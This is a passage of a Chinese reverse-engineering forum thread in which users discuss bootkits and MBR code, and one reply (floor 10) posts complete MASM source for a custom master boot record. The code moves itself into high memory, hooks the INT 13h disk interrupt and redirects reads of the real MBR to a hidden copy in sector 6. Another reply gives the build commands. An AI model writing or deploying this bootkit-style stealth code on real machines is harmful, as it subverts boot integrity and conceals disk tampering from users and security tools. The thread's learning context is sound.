能力值:
( LV2,RANK:10 )
|
-
-
2 楼
没人理我。。。
我是使用bochs调试的。。。
|
能力值:
( LV12,RANK:750 )
|
-
-
3 楼
马上又要出现BOOTKIT病毒了,请各大杀软做好MBR防护检查
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
bootkit都已经成为老技术了
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
楼主sti之后怎么没有 cli???
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
还有移动字节到61BH那段没看明白什么意思.不知道那段代码要做啥?
|
能力值:
( LV2,RANK:10 )
|
-
-
7 楼
太夸张了吧 呵呵
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
更正一下:
cld
mov si, 7C1Eh //不是原来的7C1B
mov di, 61Bh
push ax
push di
mov cx, 1E5h
rep movsb
retf
|
能力值:
( LV2,RANK:10 )
|
-
-
9 楼
无比的崇拜技术牛人,看不懂这些东西了。上学没好好学。
|
能力值:
( LV2,RANK:10 )
|
-
-
10 楼
以前写的一个mbr,当时原先的mbr放在第6扇区,并hook了int 13
.286
.model small
.code
CocdeSize = Offset @@End - Offset @@Start
@@Start:
cli
xor ax,ax
mov ss,ax ;ss=ax=0000h
mov sp,7c00h ;sp=7c00h
sti
push ax
pop es ;es=0000
push ax
pop ds ;ds=0000
@@Begin:
int 12h
dec ax
mov ds:[0413h],ax
mov cl, (10-4)
shl ax,cl
mov es,ax ;ax=9fc0
xor di, di ;di=00
mov si,sp ;si=7c00
mov cx, CocdeSize
cld
rep movsb
push ax
mov di,Offset @@HighAddr
push di
retf
; di -> ip
; ax -> cs
@@HighAddr:
cli
xchg ds:[13h*4+2],ax
mov cs:[OldInt13Seg],ax
mov ax,Offset @@NewInt13
xchg ds:[13h*4],ax
mov cs:[OldInt13Off],ax
sti
push ds ;es=ds=0000
pop es
@@ReadOldHardBoot:
mov ax,0201h ;es:bx=0000:7c00
mov bx,7c00h
mov cx,0006h
mov dx,0080h
int 13h
jc short @@Exit1
@@ExecOldBoot:
cmp es:[bx.Flags],0aa55h
jnz @@Exit2
lea si,MsgText
jmp @@DispMsg
@@Exit1:
lea si,MBRERROR
jmp @@DispMsg
@@Exit2:
lea si,MOS
@@DispMsg:
mov al,cs:[si]
inc si
mov ah,0eh
int 10h
or al,al
jnz @@DispMsg
xor ax,ax
int 16h
@@ExitDisp:
;push es ;es=0000
;push bx ;bx=7c00
;retf
db 0eah,00h,7ch,00h,00h
@@NewInt13:
cmp dX,0080h
jnz short @@JmpOldInt13
cmp cx,0001h ;dx=0000
jnz short @@JmpOldInt13
mov cx, 0006h ;if caozuo MBR-->0006 sector
@@JmpOldInt13:
db 0eah
OldInt13Off dw ?
OldInt13Seg dw ?
MsgText db 'Night is deep,you must go sleep!',0
MBRERROR db 'can not find MBR!',0
MOS db 'Invalid Operating System!',0
@@End:
org 1feh
Flags dw 0aa55h
End
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
楼上的 你是如何编译成功的呢???呵呵 。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
masm filename
link filename
就可以了,只需要masm.exe,link.exe,lib.exe即可
|
能力值:
( LV2,RANK:10 )
|
-
-
13 楼
哎~!全还老师了。
|